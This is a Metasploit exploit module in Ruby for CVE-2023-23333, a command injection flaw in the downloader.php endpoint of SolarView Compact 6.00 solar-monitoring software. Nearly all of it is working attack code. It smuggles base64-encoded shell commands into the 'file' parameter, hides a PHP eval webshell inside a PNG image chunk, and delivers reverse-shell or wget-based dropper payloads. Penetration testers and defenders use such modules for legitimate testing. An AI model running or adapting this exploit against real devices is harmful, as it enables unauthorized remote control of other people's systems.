SolarView Compact 6.00 Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Format::PhpPayloadPng  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SolarView Compact unauthenticated remote command execution vulnerability.',  
'Description' => %q{  
CONTEC's SolarView™ Series enables you to monitor and visualize solar power and is only available in Japan.  
This module exploits a command injection vulnerability on the SolarView Compact `v6.00` web application  
via vulnerable endpoint `downloader.php`.  
After exploitation, an attacker will have full access with the same user privileges under  
which the webserver is running (typically as user `contec`).  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # MSF module contributor  
],  
'References' => [  
['CVE', '2023-23333'],  
['URL', 'https://attackerkb.com/topics/kE3lzTZGV2/cve-2023-23333']  
],  
'DisclosureDate' => '2023-05-15',  
'Platform' => ['php', 'unix', 'linux'],  
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_ARMLE, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'PHP',  
{  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Type' => :php,  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_ARMLE],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => ['wget', 'printf', 'echo', 'bourne'],  
'Linemax' => 65535,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 80,  
'SSL' => false,  
'HttpClientTimeout' => 40 # set to 40 seconds because http response is pretty slow.  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [ true, 'The SolarView endpoint URL', '/' ]),  
OptString.new('WEBSHELL', [  
false, 'The name of the webshell with extension. Webshell name will be randomly generated if left unset.', nil  
], conditions: %w[TARGET == 0])  
])  
end  
  
def upload_webshell  
# randomize file name if option WEBSHELL is not set  
@webshell_name = if datastore['WEBSHELL'].blank?  
"#{Rex::Text.rand_text_alpha(8..16)}.php"  
else  
datastore['WEBSHELL'].to_s  
end  
  
@post_param = Rex::Text.rand_text_alphanumeric(1..8)  
  
# inject PHP payload into the PLTE chunk of a PNG image to hide the payload  
php_payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"  
png_webshell = inject_php_payload_png(php_payload, injection_method: 'PLTE')  
return nil if png_webshell.nil?  
  
# encode webshell data and write to file on the target at the tmp directory for execution  
# the tmp directory is writeable and a symbolic link to /tmp in a standard solarview installation  
payload = Base64.strict_encode64(png_webshell.to_s)  
cmd = "echo #{payload}|base64 -d >tmp/#{@webshell_name}"  
return execute_command(cmd)  
end  
  
def execute_php(cmd, _opts = {})  
payload = Base64.strict_encode64(cmd)  
return send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'tmp', @webshell_name),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
@post_param => payload  
}  
})  
end  
  
def execute_command(cmd, _opts = {})  
# Encode payload with base64 to ensure proper execution  
payload = Base64.strict_encode64(cmd)  
cmd = "echo #{payload}|base64 -d|bash"  
return send_request_cgi({  
'method' => 'GET',  
'ctype' => 'application/x-www-form-urlencoded',  
'uri' => normalize_uri(target_uri.path, 'downloader.php'),  
'vars_get' => {  
'file' => ";#{cmd};.zip"  
}  
})  
end  
  
def check  
# Checking if the target is vulnerable by echoing a randomised marker that will return the marker in the response.  
# next we will try to read the version file stored in /opt/svc/version  
print_status("Checking if #{peer} can be exploited.")  
marker = Rex::Text.rand_text_alphanumeric(8..16)  
res = execute_command("echo #{marker};cat /opt/svc/version")  
if res && res.code == 200 && res.body.include?(marker)  
CheckCode::Vulnerable(res.body.match(/SolarView Compact ver\.\d\.\d\d/).to_s)  
else  
CheckCode::Safe('No valid response received from the target.')  
end  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :php  
res = upload_webshell  
fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200  
register_file_for_cleanup(@webshell_name.to_s)  
execute_php(payload.encoded)  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
# Don't check the response here since the server won't respond  
# if the payload is successfully executed.  
execute_cmdstager({ linemax: target.opts['Linemax'] })  
end  
end  
end  
`